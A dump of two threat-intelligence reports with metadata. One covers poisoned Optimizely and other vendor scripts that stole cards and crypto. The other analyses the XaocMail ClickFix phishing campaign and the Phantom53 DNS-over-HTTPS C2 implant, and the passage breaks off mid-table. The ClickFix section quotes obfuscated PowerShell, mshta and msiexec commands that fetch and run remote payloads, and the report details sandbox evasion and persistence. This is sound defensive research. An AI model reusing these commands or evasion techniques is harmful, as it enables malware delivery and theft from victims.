Hudson Rock delivered  track.js .\n\nNovember 16, 16:25\nPoisoned video loader. The archived hash matches Archived\nminute-ly UTC\nHudson Rock’s directly recovered 561-byte file. capture\nfoxsports.com\n\nThese are observation times, not intrusion start times. The BBC row concerns an earlier loader variant; its later\n\nfallback-bearing file has a different hash. Representative exact resources and hashes appear in the evidence\n\nappendix.\n\nEvidence from four poisoned delivery services does not establish four independently explained vendor-\n\nsystem breaches. The shared hosts, loader code and routing marker support a technical relationship. They do not\n\nindependently identify one operator or prove a common way into all four services.\n\nThe November 13 records also prevent treating all linked activity as a few hours on November 16. They establish\n\nseparate earlier observations, not uninterrupted malicious delivery throughout the interval.\n\n03 / Expanded website scope\n\nAdditional websites in the wider Optimizely assessment\n\nHudson Rock’s original combined report documents 21 named web properties, including BBC, Zoom, GitLab,\n\nHSBC UAE, CNN, Fox News, Fox Sports, Salesforce, FAZ and the Sydney Morning Herald. That evidence set is\n\nnot an estimate of the incident’s full size. [3]\n\nScott Helme of Report URI supplies the broader Optimizely count: 188 poisoned snippets associated with 178\n\norganizations. Selected additional associations from its published list are below. Hudson Rock has not\n\nindependently revalidated these additional files. [4]\n\nOrganization or brand\n\nSelected additional associations published by Report URI. [4]\n\nReported web properties\n\nPage 2 of 7\n\nOrganization or brand\n\nEquifax\n\nLedger\n\nIKEA\n\nASOS\n\nMattel\n\nPeacock\n\nAlaska / Hawaiian Airlines\n\nTypeform\n\nMixpanel\n\nUNICEF USA\n\nhttps://www.infostealers.com/article/beyond-optimizely-malicious-scripts-traced-across-four-web-services/\n\nReported web properties\n\nequifax.com\n\nmy.equifax.com\n\nsignin.my.equifax.com\n\nwww.equifax.com\n\nledger.com\n\nwww.ledger.com\n\nclient.home-design.ikea.com\n\nasos.com\n\ncreations.mattel.com\n\npeacocktv.com\n\nwww.peacocktv.com\n\nwww.alaskaair.com\n\nwww.hawaiianairlines.com\n\ntypeform.com\n\nwww.typeform.com\n\nmixpanel.com\n\nwww.unicefusa.org\n\nFor the full list, consult Report URI’s investigation. An affected subdomain does not establish exposure across an\n\norganization’s entire website, product, customer base or checkout system.\n\nEquifax told Reuters it had stopped using Optimizely and found no evidence of compromise to its own systems.\n\nSalesforce said it was investigating unauthorized Optimizely changes and disabling scripts as a precaution. These\n\nresponses illustrate why website-script exposure and backend compromise must be reported separately. [7]\n\n04 / Hudson Rock’s original evidence\n\nThe embedded fallback changes the cleanup question\n\nHudson Rock directly recovered eight distinct poisoned Optimizely assets and one poisoned minute-ly asset. The\n\nteam also corroborated the URLs and SHA-256 values in 16 vendor-response records across 15 website\n\ncaptures supplied by Kirk. Historical body interpretation for the unrecovered Kissmetrics and StorifyMe files\n\nremains attributed to him. [3]\n\nIn the later BBC and HSBC UAE Optimizely files, Hudson Rock decoded the same 24,392-byte financial-theft\n\npayload embedded within the trusted response. The loader attempted to run that copy if the remote payload failed\n\nor did not arrive within roughly 2.5 seconds. Browser execution policy can still constrain this fallback. [3]\n\nPage 3 of 7\n\nhttps://www.infostealers.com/article/beyond-optimizely-malicious-scripts-traced-across-four-web-services/\n\n05 / New mobile findings\n\nDeeper iOS stages are now documented; successful exploitation remains unproven\n\nThe earlier combined investigation linked the mobile delivery to Coruna and DarkSword. The newer findings\n\ndescribe what later stages were designed to do. [3]\n\nIn updated Ohey research, Kirk reports retrieving further DarkSword D11 stages, including  post_exploit.js .\n\nThe code describes device registration and uploads of  keychain-2.db  and other databases. Ohey also describes\n\npanel features intended to collect seed phrases and private keys. These findings extend the documented collection\n\nlogic beyond the browser-only financial payload. [5]\n\nKirk also reports that an iOS 26.3-labelled request reached  C10/b.html  and a  rce_worker_26.x.js  file.\n\nHowever, the chain’s own log states  usable_grade=DEAD weaponized=false . C10 was reachable in the later\n\nobservation; that is not evidence of a functioning iOS 26 exploit. The earlier C10 article now carries this update.\n\n[5] [6]\n\nThese are Ohey’s later-stage findings. Hudson Rock has not independently reproduced those stages or\n\ndemonstrated compromise of a real victim’s iPhone. A scan using an iPhone user-agent string is a delivery\n\nobservation, not a Safari exploitation test. [9]\n\n06 / Visitor impact and remediation\n\nRemoving the script does not reverse an earlier exposure\n\nThe directly recovered  track.js  replaces cryptocurrency destinations in accessible page content and browser\n\noperations, and watches for complete card details in accessible submissions. Conditional collection can include\n\nJavaScript-readable cookies and a rendered page image. The code does not show extraction of HttpOnly cookies\n\nor a bypass into isolated cross-origin payment frames. [3]\n\nImpact depends on the page and the visitor’s actions. A substituted address could redirect a payment the visitor\n\nsubsequently approves. Accessible card details could be collected if the module’s checks were met. An ordinary\n\nnews-page visit does not itself establish card theft. The mobile delivery path creates a separate device-exploitation\n\nrisk; the financial modules were not established in every earlier router-only response.\n\nReport URI reported about $7,040 in wallet receipts by 19:25 UTC on November 16. Hudson Rock has not\n\nindependently linked those transfers to affected visitors; this is not a confirmed incident-loss figure. [4]\n\nReport URI found one of its previously poisoned Optimizely snippets still infected at 21:52 UTC on November\n\n16. That was a measurement of its sample set, not a guarantee that every delivered copy had disappeared. [4]\n\nReplacing an upstream file does not undo code already running in an open page, reverse a completed transfer or\n\nrecover collected data. A cleaned origin can also coexist with cached responses. Hudson Rock’s direct minute-ly\n\nretrieval carried  Cache-Control: max-age=86400 ; that header alone does not prove any particular browser\n\nretained it for a full day.\n\nPage 4 of 7\n\nhttps://www.infostealers.com/article/beyond-optimizely-malicious-scripts-traced-across-four-web-services/\n\nWebsite operators should preserve historical script versions, verify project code and cached copies, review\n\ncollection-destination requests, and determine which sensitive pages actually loaded the affected assets. Public\n\nevidence does not yet establish a campaign-wide total of stolen cards, compromised devices or losses.\n\n07 / What the evidence still cannot settle\n\nThe next questions concern access and outcomes\n\nThe unresolved questions are how the poisoned responses reached Kissmetrics, StorifyMe and minute-ly; whether\n\na common operator controlled the linked delivery; which pages and visitors actually executed each payload; and\n\nwhat data or funds were successfully taken. The Optimizely signup disclosure answers one access question. It\n\ndoes not answer those others.\n\nThis follow-up incorporates Hudson Rock’s original investigation, Kirk’s subsequent analysis, Optimizely’s\n\ndisclosure and independently attributed reporting. Amirul Cyber’s early OPTIMJACK research remains an\n\nimportant starting reference. [8]\n\nTechnical appendix / Reproducible evidence\n\nSample records and investigation indicators\n\nThe four records below preserve the distinction between a recovered file and corroboration of a historical archive\n\nrecord. Hashes identify the recorded bytes, not every version ever served at a URL. All dates below are in 2026\n\nand all times are UTC.\n\nFour provider records with exact resources, hashes and provenance\n\nKissmetrics\n\nsecuritybank.com · November 13, 05:42:03 UTC · 213 bytes\n\nServed resource i.kissmetrics.com/i.js\n\nSHA-256 c154f3b644cd51f2446483c7ffd2ae4f178c4b0cb54846cfb5b83215367349cf\n\nKirk’s historical body analysis; archive URL and hash corroborated by Hudson Rock. View archived record.\n\nStorifyMe\n\nfaz.net · November 13, 20:31:21 UTC · 16,569 bytes\n\nSHA-256 94d174abe1e3b12b000f2bc8cbd8e9344290f4b5a8661c8d700cdc5675675fba\n\nOptimizely\n\nServed resource storifyme.xyz/widgets/faz-5746000/widget/custom/8746?account=faz-5746000\n\nKirk’s historical body analysis; archive URL and hash corroborated by Hudson Rock. View archived record.\n\nPage 5 of 7\n\nabout.gitlab.com · November 16, 16:17:40 UTC · 354,471 bytes\n\nServed resource cdn.optimizely.com/js/5113954737848320.js\n\nminute-ly\n\nfoxsports.com · November 16, 16:25:44 UTC · 561 bytes\n\nServed resource apv-static.minute-ly.com/resources/v2/loader.js?v=3\n\narchived record.\n\nFinancial payload hashes and additional archive context\n\nIndicator\n\n1688360[.]cc/track.js\n\n1688360[.]cc/card.php\n\n1688360[.]cc/hit.php\n\nwebshell[.]lol/get.js\n\n5vobauua3ojpklx[.]icu/boot.js\n\neil786npto9u5bq[.]icu/boot.js\n\nl7bcsnwc7nzr3uo[.]icu/api/iptj\n\nje4ft3gn8vxudum[.]icu\n\nios-hack[.]icu/api/ip-\n\nsync/sync\n\ndata-channel-code=\"02111110\"\n\nwindow._k7  /  window.__k7b\n\nhttps://www.infostealers.com/article/beyond-optimizely-malicious-scripts-traced-across-four-web-services/\n\nSHA-256 a87a2eaea9cfb74aae7283d15fbdb499b5a8ebc3fab4c453df7d62e503996240\n\nHudson Rock recovered the file directly; its SHA-256 matches the historical record. View archived record.\n\nSHA-256 0f2f2a27d19112e5800541daecc91eb6c77e49f9b43ed23c890b876631978533\n\nHudson Rock recovered identical bytes with and without the query parameter; counted as one asset. View\n\nDirect retrieval: November 16, 21:29 UTC. The response carried  Cache-Control: max-age=86400 .\n\nSelected investigation indicators. Attacker destinations are defanged; legitimate provider domains are evidence\n\nlocations, not blanket blocklist entries.\n\nEvidence and role\n\nFinancial-theft payload recovered directly.\n\nCollection destinations in the recovered code; a code reference alone\n\ndoes not prove data arrived.\n\nShared loader referenced in the recovered minute-ly file and Kirk’s\n\nhistorical body analysis.\n\nMobile loader hosts referenced in the recovered payload and recorded\n\nrequests.\n\nTelemetry request destination recorded in the supplied mobile-\n\ndirected captures.\n\nRouter C2 reference reported in Kirk’s analysis.\n\nAttempted request in the supplied capture; that record has no\n\ncompleted response.\n\nCode pivots for the routing channel and financial payload. Match in\n\ncontext.\n\nPage 6 of 7\n\nhttps://www.infostealers.com/article/beyond-optimizely-malicious-scripts-traced-across-four-web-services/\n\nThe original report preserves the full wallet list, further payload and stage hashes, and reported-only domains with\n\ntheir qualifications. Read the complete original IOC and methodology appendix. This update does not turn\n\nunverified indicators into confirmed infrastructure.\n\nSources / Attribution\n\nSource record\n\n1. Optimizely: Web Experimentation Security IncidentOfficial notice posted November 17, 2026, 01:02 UTC;\n\nlisted as Monitoring when reviewed.\n\n2. BleepingComputer: Optimizely’s statement identifying the signup vulnerabilityLawrence Abrams; updated\n\nreporting reviewed November 17, 2026.\n\n3. Hudson Rock: original investigation, recovered hashes and archived response evidenceNovember 16, 2026.\n\nIncludes Kirk’s supplied verification and the complete original IOC appendix.\n\n4. Report URI: affected Optimizely snippets and organization listScott Helme; November 16, 2026. Source of\n\nthe 1,611 / 188 / 178 measurements and the additional website associations.\n\n5. Ohey: DarkSword analysis, including the script-vendor delivery and later stagesKirk; current findings\n\nreviewed November 17, 2026.\n\n6. Ohey: C10 research and its November 16 updatePublished November 5; relevant update dated November\n\n16, 2026, 22:30 UTC.\n\n7. Reuters: responses from Salesforce and EquifaxNovember 17, 2026. Company responses distinguish third-\n\nparty script exposure from an established backend breach.\n\n8. Amirul Cyber: early OPTIMJACK investigationNovember 16, 2026. Early payload analysis and the\n\nOPTIMJACK name.\n\n9. urlscan: browser and custom user-agent limitationsThe service uses headless Chrome; a supplied Safari\n\nuser-agent string does not turn a capture into an iPhone exploitation test.\n\nSource: https://www.infostealers.com/article/beyond-optimizely-malicious-scripts-traced-across-four-web-services/\n\nPage 7 of 7","extraction_quality":1,"language":"EN","sources":["OTX"],"origins":["web"],"references":["https://www.infostealers.com/article/beyond-optimizely-malicious-scripts-traced-across-four-web-services/"],"report_names":["beyond-optimizely-malicious-scripts-traced-across-four-web-services"],"threat_actors":[],"ts_created_at":1794967921,"ts_updated_at":1794968425,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/64dfad13feaef464746ce0c99e3abf4d12d237f5.pdf","text":"https://archive.orkl.eu/64dfad13feaef464746ce0c99e3abf4d12d237f5.txt","img":"https://archive.orkl.eu/64dfad13feaef464746ce0c99e3abf4d12d237f5.jpg"}},{"id":"a3067c49-0ff8-479a-9075-190a78d9ad2b","created_at":"2026-11-18T02:10:48.796446Z","updated_at":"2026-11-18T02:20:24.177827Z","deleted_at":null,"sha1_hash":"2032852fef8ebeacaa8d23ad44f0d6897d7e9ec6","title":"XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":13341860,"plain_text":"https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nXaocMail ClickFix Campaign Drops Phantom53 and HavoX Across\n\nLatin America, Asia, and Europe\n\nBy ST SOCRadar Threat Research Unit (STRU)\n\nPublished: 2026-11-13 · Archived: 2026-11-18 02:00:37 UTC\n\nThreat actors continue to refine and scale their operations, increasingly integrating artificial intelligence to harden attack\n\ninfrastructure and accelerate deployment. The SOCRadar Threat Research Unit (STRU) recently identified a multi-stage\n\ncampaign operated by a Russian-speaking threat actor wielding an AI-assisted toolkit. The adversary’s pipeline chains\n\nXaocMail (translated as ChaosMail), a phishing platform delivering ClickFix-style document sharing lures with\n\nPhantom53, a stealthy DNS-over-HTTPS (DoH) command-and-control (C2) framework used to drop PowerShell payloads\n\nKey Points\n\nXaocMail\n\nPhantom53\n\nHavoX\n\n01\n\nAttack Chain\n\nand Havoc for post-exploitation.\n\n02\n\nTimeline\n\nAugust 2026.\n\n03\n\nDelivery\n\nthrough Cloudflare’s serverless infrastructure.\n\n04\n\nCommand and Control\n\n05\n\nResilience\n\n06\n\nAI Usage\n\nprompt wrappers.\n\nand deploy the Havoc post-exploitation framework on demand.\n\nA multi-stage campaign chains XaocMail for phishing, Phantom53 for stealthy DNS-over-HTTPS command-and-control,\n\nPreparation began in October 2025, with phishing tests and framework development in early 2026 before the launch in\n\nXaocMail generates personalized phishing templates and ClickFix landing pages that deliver Phantom53 MSI payloads\n\nPhantom53 relies on DNS-over-HTTPS through public resolvers, with an ephemeral beacon for telemetry and PowerShell\n\nexecution and an on-demand watcher that reflectively loads the Havoc Demon.\n\nA week-keyed SHA256 DGA provides domain failover when the active C2 domain is blocked or taken down.\n\nThe codebase contains evidence of AI-assisted development and automated testing using Claude Code task structures and\n\nPage 1 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\n07\n\nTargeting\n\nTargets span Latin America, Asia, and Europe across technology, finance, education, government, logistics, and\n\nmanufacturing, with a slight tilt toward technology.\n\nCampaign Overview\n\nSTRU uncovered an advanced, multi-stage campaign operated by a Russian-speaking threat actor utilizing a multi-\n\ncomponent toolkit. The adversary’s attack pipeline chains XaocMail, a self-hosted phishing platform serving personalized\n\nemails with document-sharing lures that embed ClickFix pages, with Phantom53, a stealthy C2 framework leveraging DoH\n\nfor persistent beaconing, host telemetry exfiltration, and PowerShell script execution. Phantom53 further utilizes an on-\n\ndemand watcher to reflectively load the Havoc post-exploitation framework into memory for interesting targets. The\n\nattacker’s infrastructure relies entirely on legitimate services: Cloudflare Workers and DoH providers (i.e., Google,\n\nCloudflare, and ControlD). It also features a custom DGA for domain failover resilience.\n\nCampaign preparations began at least a year prior, in October 2025, when the threat actors were observed testing their\n\nmalware and Cloudflare infrastructure. Throughout the first half of 2026, the attackers experimented with phishing lures\n\nwhile refining and hardening Phantom53. The operation officially launched in August 2026 and remains active as of this\n\npublication.\n\nCampaign Overview\n\nPhishing Infrastructure: XaocMail\n\nPhantom53’s delivery mechanism is a ClickFix social engineering lure delivered via XaocMail phishing infrastructure.\n\nXaocMail (“Xaoc” meaning “Chaos” in Russian) is a self-hosted phishing platform (185[.]224[.]132[.]148:8585) that\n\nhandles the full email-to-implant funnel. It generates per-victim personalized templates and landing pages (links), and\n\ndistributes phishing emails carrying those links, which serve ClickFix lures through Cloudflare Workers (serverless edge\n\ncomputing) when accessed. ClickFix delivers an MSI payload stored on Cloudflare KV (a serverless key-value database)\n\nthat initiates Phantom53 infection. The per-victim flow is as follows:\n\nXaocMail receives a list of personalized pages with associated metadata: recipient name, sender name, sender\n\ncompany, document type, document content, and template (Google Docs, Adobe Acrobat, Office365 and\n\nSecuredDocs) selection. The pages spoof legitimate senders and include document-sharing previews as lures\n\nPage 2 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nSample XaocMail Template\n\nFor each victim, a unique linkId (8-char random) is created. XaocMail writes a JSON blob to Cloudflare KV under\n\nthat key. Each link is assigned a round-robin msi_slot (0-9) pointing to one of 10 pre-built MSIs also in KV\n\nThe attackers send the emails through SMTP using IMAP-validated mailboxes (likely compromised credentials). The\n\nemails arrive as document-sharing notifications, with a prominent link in the body pointing to the Cloudflare Worker\n\nlanding page: hxxps:[//]securedoc.[subdomain].workers.dev/?id={linkId}\n\nThe main Worker reads the KV landing JSON and serves the ClickFix lure page with the command to download the\n\npayload via PowerShell, HTA or MSI (the latest and preferred option). Geo/ASN/IP telemetry is logged to Cloudflare\n\nD1 (serverless SQL database) on click\n\nXaocMail ClickFix (Google Doc) Challenge\n\nMode Win+R Payload\n\npowershell “.(-join’xei'[-1..-3])((New-Object\npowershell\nNet.WebClient).DownloadString(‘https://…/s?id=X’))”\n\nmshta mshta https://…/h?id=X\n\nmsiexec msiexec /i https://…/m?id=X /qn\n\nIn addition, the operators have another Cloudflare Worker in place (hxxps[://]linkrot[.]fypahedupal2-0maz[.]workers[.]dev)\n\nto rotate the subdomains easily and increase their operational resilience in case of detection or takedowns:\n\nlink rotator cloudflare subdomain resilience\n\nPage 3 of 25\n\nFinal Payload\n\nDownloads and executes an\n\nMSI file\n\nZIP containing GUP.exe\n\n(Notepad++ Generic Update\n\nProgram) sideloading\n\nlibcurl.dll – Previous version\n\nExecutes MSI file –\n\nDocumented as the active\n\nevasion-hardened vector\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nLink Rotator Changing the Subdomain securedoc.\u003csubdomain\u003e.workers.dev on Every Access\n\nIn previous versions, the attackers used GitHub Gist instead of Cloudflare Workers to store their Phantom53 installers:\n\nGitHub Gist Storage for Phantom53 Installer\n\nAfter the command’s execution, the MSI (or PowerShell or HTA) downloader calls /api/unblur?id={linkId} on the\n\nWorker, removing the blur and overlay, with the victim seeing the document “unlocked”, completing the social\n\nengineering challenge\n\nPage 4 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nPowerShell Sample Document Unblurred After ClickFix Commands\n\nC2 Framework: Phantom53\n\nXaocMail ClickFix commands are designed to download and run an MSI file (in the newest version), which is actually the\n\nPhantom53 wrapper. Phantom53 is a purpose-built C2 framework designed to achieve persistent access on Windows\n\nendpoints. Unlike commodity frameworks, Phantom53 avoids common behavioral signatures by using DoH as its primary\n\nC2 transport, hiding command traffic inside encrypted HTTPS sessions with public DNS resolvers like Google and\n\nCloudflare that are universally trusted and rarely inspected.\n\nThe framework is organized into three independently survivable layers: a lightweight beacon that polls for commands via\n\nDoH every 12 minutes, a separate watcher that loads a post-exploitation agent (HavoX/Havoc Demon) on demand, and the\n\nHavoc Demon agent itself as a disposable operational payload. Each layer runs in an isolated Python virtual environment\n\nunder a signed pythonw.exe host process. adminka, another component, is the operator control interface that provides a full\n\nTerminal User Interface (TUI) with bot management, domain rotation, alias-based command shortcuts, and Telegram\n\nalerting on new implant registrations.\n\nMSI Wrapper\n\nThe executed file is a binary-only MSI impersonating legitimate product names (e.g., Visual Studio Tools, Python, and\n\nNode.js) and contains a CustomAction pointing to a PE DLL that performs the full installation of Phantom53 stages. In\n\nPage 5 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nsummary, it prepares the environment by installing the Python runtime and dropping two virtual environments: one\n\ncontaining the Phantom53 beacon and one containing the Phantom53 watcher, which monitors the trigger for the next stage\n\n(Havoc Demon). Both stages are executed through scheduled tasks at specific intervals.\n\nInitially, it drops the Python 3.11 runtime by creating a randomly named ([a-z0-9]) directory inside any of the location\n\noptions selected on build (%LOCALAPPDATA%, %APPDATA%, %APPDATA%\\Microsoft,\n\n%LOCALAPPDATA%\\Microsoft\\WindowsApps) and embedding the following files:\n\npythonw.exe: Windowless Python launcher (no console window)\n\npython.exe: Standard Python binary\n\npython3.dll: Python 3 stub DLL\n\npython311.dll: CPython 3.11 runtime (~5.6 MB)\n\npython311.zip: Standard library .zip\n\npython311._pth: Isolated path config (no system site-packages)\n\nvcruntime140.dll: MSVC runtime\n\nvcruntime140_1.dll: MSVC runtime (second part)\n\nNext, it drops two virtual environments, each for a distinct stage of the attack chain, and executes them through scheduled\n\ntasks.\n\nVenv A – The Phantom53 Beacon\n\nThis virtual environment is responsible for running the Phantom53 beacon component. The DLL creates a randomized\n\ndirectory (e.g., %LOCALAPPDATA%\\d9ae124034ad\\Lib\\site-packages\\iyrzlo\\) and drops:\n\ncv2.pyd: A minimal compiled PE named after a legitimate .pyd file from a PyPI package (i.e., OpenCV)\n\n__init__.py: Containing from . import cv2 \u0026 cv2.init() which triggers .pyd load when the package is imported\n\n(similar to DLL sideloading)\n\nd9ae124034ad.pyw: A randomly named generated launcher importing the configured package:\n\nd9ae124034ad.pyw Launcher Importing iyrzlo\n\nA scheduled task is configured to run %LOCALAPPDATA%\\d9ae124034ad\\pythonw.exe d9ae124034ad.pyw, launching the\n\nPhantom53 beacon every 12 minutes without a window or console. Importing iyrzlo from d9ae124034ad.pyw causes Python\n\nto load iyrzlo/__init__.py, which triggers Windows to load cv2.pyd as a native DLL. When Python loads a .pyd, it calls the\n\nPyInit_\u003cmodule_name\u003e export. The beacon runs from PyInit_cv2, which calls run_beacon(). Four module names are\n\nsupported for masquerading as legitimate packages: PyInit__core (numpy), PyInit__imaging (PIL), PyInit_cv2 (cv2), and\n\nPyInit_etree (lxml), whichever matches the .pyd’s filename.\n\nPage 6 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nBeacon Entry Point\n\nVenv B – The Phantom53 Watcher + Havoc Demon\n\nThis virtual environment is responsible for running the Phantom53 watcher component, which detects when the operator\n\ndecides to move on to the next stage (Havoc Demon). Similarly, the DLL creates another randomized directory (e.g.,\n\n%LOCALAPPDATA%\\d9ae124034ad\\Lib\\site-packages\\llidejyldw\\) and drops:\n\ncore.pyd: A similar compiled PE named after a legitimate .pyd file from numpy\n\n__init__.py \u0026 1fb1e42ce996.pyw: Same launcher patterns\n\nf969d46d.dat: A randomly named AES-256-GCM encrypted HavoX (Havoc Demon) blob that is decrypted in\n\nmemory at runtime by the Phantom53 watcher\n\nfa41d5d4.dat (debug build): A randomly named alternate Demon blob. Phantom53 watcher tries both and the AES-\n\nGCM tag selects which one to decrypt. This lets the operators switch between debug/recon and release builds without\n\nchanging the actual MSI components\n\nIn the same way, a scheduled task is configured to run %LOCALAPPDATA%\\d9ae124034ad\\pythonw.exe\n\n1fb1e42ce996.pyw, launching the Phantom53 watcher every 3 minutes. The following screenshot shows a sample\n\nPhantom53 configuration:\n\nPage 7 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nPhantom53 Sample Configuration\n\nScheduled task names for both stages are selected from a pool of names:\n\n(MicrosoftEdgeUpdateTask[a-z0-9], OneDriveSyncTask[a-z0-9], WindowsDefenderScheduledScan[a-z0-9],\n\nOfficeBackgroundTaskHandler[a-z0-9], AdobeAcrobatUpdateTask[a-z0-9])\n\nAnd the first execution is delayed by 2 minutes for evasion. If the process is elevated (SYSTEM/admin context), Phantom53\n\ncalls ITaskFolder::RegisterTask directly via COM, supplying an XML file without spawning schtasks.exe processes. In case\n\nthe process is not elevated, Phantom53 falls back to the User Account Control (UAC) escalation path. First, it writes two\n\nXML files (%TEMP%\\p53_task_a.xml and p53_task_b.xml) and registers them with PowerShell (Register-ScheduledTask).\n\nThis option triggers a UAC prompt to the user showing convincing product names (e.g., Node.js Runtime from OpenJS\n\nFoundation) for approval. In case the UAC prompt gets rejected, Phantom53 falls back to registering user-context tasks via\n\nCOM with \u003cLogonType\u003eInteractiveToken\u003c/LogonType\u003e (no UAC, current user privileges only).\n\nBeacon\n\nThe first stage is the Phantom53 beacon (beacon.pyd impersonating cv2.pyd) and it is responsible for initial C2\n\ncommunication through DoH.\n\nAPI Resolution\n\nIt starts by walking the Process Environment Block (PEB) to find ntdll.dll and kernel32.dll to resolve every needed function\n\nfrom each module’s export tables, comparing names against pre-computed hashes. All subsequent DLLs are loaded by\n\ncalling LdrLoadDll with the DLL name XOR-decoded. No DLL name or API name ever appears as a plaintext string in the\n\nbinary.\n\nBot ID \u0026 Storage Key Generation\n\nPage 8 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nIt then generates a Bot ID built from five components concatenated with | separators and hashed with a djb2 variant (8 hex\n\ncharacters):\n\nMachineGuid from HKLM\\SOFTWARE\\Microsoft\\Cryptography\n\nC: volume serial number (8 hex digits)\n\nComputerName\n\nInstallDate from HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\n\nAn install-time random salt (32-bit, persisted in the CLSID registry key)\n\nIt also generates a storage key which is a per-machine HMAC-SHA256 hash used to derive a CLSID-formatted registry path\n\nunder HKCU\\Software\\Classes\\CLSID\\{…} where all state is stored.\n\nSandbox Gate\n\nBefore every beacon tick, it runs a sandbox check. It assigns a score and decides whether to beacon or defer based on\n\nconditions. If the score is equal to or greater than 1, it defers and increments the defer counter. Once 3 defer decisions are\n\nreached, a beacon is forced.\n\nCheck\n\nSystem uptime less than 20\n\nminutes\n\nTick delta\n\nRecent user input within last\n\n15 minutes\n\nDNS-over-HTTPS C2 Protocol\n\nCondition Effect\n\nGetTickCount64() \u003c 20 * 60 * 1000 score += 1\n\ncurrent tick − last stored wall time \u003c\n\ninterval/2\n\nGetLastInputInfo() idle \u003c 15 min\n\nscore += 1\n\nOverride – beacon now\n\nregardless of score\n\nPhantom53’s C2 protocol encodes all command and control data within DNS AAAA records (IPv6). The beacon sends a\n\ncrafted FQDN as a DNS query over HTTPS (DoH) to a public resolver, which forwards it to the attacker’s DNS server. The\n\nserver encodes the command response inside the 16-byte IPv6 address field of the AAAA answer. Three transport channels\n\nPriority\n\nT1\n\nT2\n\nT3\n\nChannel\n\nDoH/IP\n\nDoH/SNI\n\nUDP\n\nDNS/53\n\nThe handshake works as follows:\n\nRound 1 – POLL: Beacon sends cookie_b\n\nare tried in order, with the successful channel persisted for the next beacon tick:\n\nDescription\n\nDoH POST to public resolver by direct IP (no DNS lookup needed). Endpoint\n\nlist (XOR-encrypted):\n\nhttps://1.1.1.1/dns-query – Cloudflare\n\nhttps://1.0.0.1/dns-query – Cloudflare secondary\n\nhttps://8.8.8.8/dns-query – Google\n\nhttps://8.8.4.4/dns-query – Google secondary\n\nhttps://76.76.2.11/dns-query – ControlD\n\nhttps://76.76.10.11/dns-query – ControlD secondary\n\nDoH POST using SNI hostname override (e.g., https://dns.google/dns-query).\n\nSame providers, different connection method.\n\nFallback method: Direct UDP DNS to hardcoded resolver IPs. Used when\n\nDoH is blocked.\n\nPhantom53 uses a two-round-trip cookie handshake to authenticate each transaction and prevent DoH cache replay attacks.\n\nPage 9 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nThe beacon generates a random cookie_b and encodes it in the FQDN. The server echoes it back in the AAAA\n\nresponse alongside cookie_s and the command\n\nRound 2 – ACK: Beacon echoes cookie_s\n\nThe beacon sends cookie_s echo in a new FQDN. The server confirms with cookie_b2 echo\n\nThe FQDN is structured as base36-encoded tokens that resemble CDN session tokens, making them difficult to distinguish\n\nfrom legitimate traffic:\n\nPhantom53’s Beacon FQDN Encoding Format\n\n{bot_id_base36}-{cookie_b_base36}.{extra36}.{hn0}-{hn1}-{hn2}-{hn3}.{c2_domain} // POLL\n\n{bot_id_base36}-{cookie_s_base36}-{cookie_b_trunc_36}.{c2_domain} // ACK\n\nbot_id: 8-char hex, base36-encoded\n\ncookie_b: 4-byte random nonce generated each tick\n\ncookie_s: 4-byte random nonce generated by the server in Round 1’s AAAA response\n\nextra36: A single base36 word encoding a 32-bit bitfield:\n\nbits 30:31 – Elevation level (SYSTEM=3, ADM=2, USR=1) – Tested by attempting to open\n\n\\Registry\\Machine\\SAM\\SAM\n\nbits 23:29 – Build ID index\n\nbits 15:22 – Chunk sequence (for chunked transfers)\n\nbits 8:14 – Current interval in minutes\n\nbit 7 – Hardcoded 0x80 (format marker)\n\nbits 4:6 – Spread (jitter range in minutes)\n\nbits 2:3 – Active Directory status – Tested through:\n\nLSA PolicyDnsDomainInformation: Queries domain SID. A non-NULL SID proves the computer account is enrolled\n\nin AD\n\nNetGetJoinInformation: Returns NetSetupDomainName (=3) for domain-joined machines\n\nGetComputerNameExW(ComputerNameDnsDomain): Non-empty DNS domain name\n\nVerdict logic: CONFIRMED if ≥2 sources agree; PARTIAL if exactly one fires; NO if none\n\nbits 0:1 – REHOME result (0=none, 1=success, 2=fail) – Detailed later\n\nhn0-hn3: Hostname split into 4 base36 chunks\n\nc2_domain: Current active domain from failover state\n\nPhantom53’s Server AAAA IPv6 Record\n\n[cookie_echo:4][cookie_s:4][cmd:1][idx:1][data:6]\n\nbytes 0:4 – cookie_echo (mirrors cookie_b, used to validate freshness)\n\nbytes 4:8 – cookie_s (server nonce, echoed in ACK)\n\nbyte 8 – cmd byte (command type)\n\nbyte 9 – idx (sort index for chunk reassembly)\n\nbytes 10:16 – 6 bytes of payload data\n\nCode Command\n\n0x00 CMD_CONTINUE\n\n0x01 CMD_NOP\n\n0x02 CMD_WAKE\n\n0x03 CMD_SLEEP\n\nThe 16-byte IPv6 address field of each AAAA record response carries command data:\n\nDescription\n\nContinuation chunk in payload delivery\n\nNo operation – just heartbeat\n\nWrite AES key + CF Worker URL to IPC temp file → triggers\n\nwatcher to load HavoX Demon (next stage)\n\nChange beacon cadence – XML round-trip on schtask\n\n\u003cInterval\u003ePTxxM, persisted in task description\n\nPage 10 of 25\n\nCode Command\n\n0x04 CMD_WIPE\n\n0x05 CMD_EXEC\n\n0x06 CMD_EXEC_CHUNKED\n\n0x07 CMD_REHOME\n\n0x08 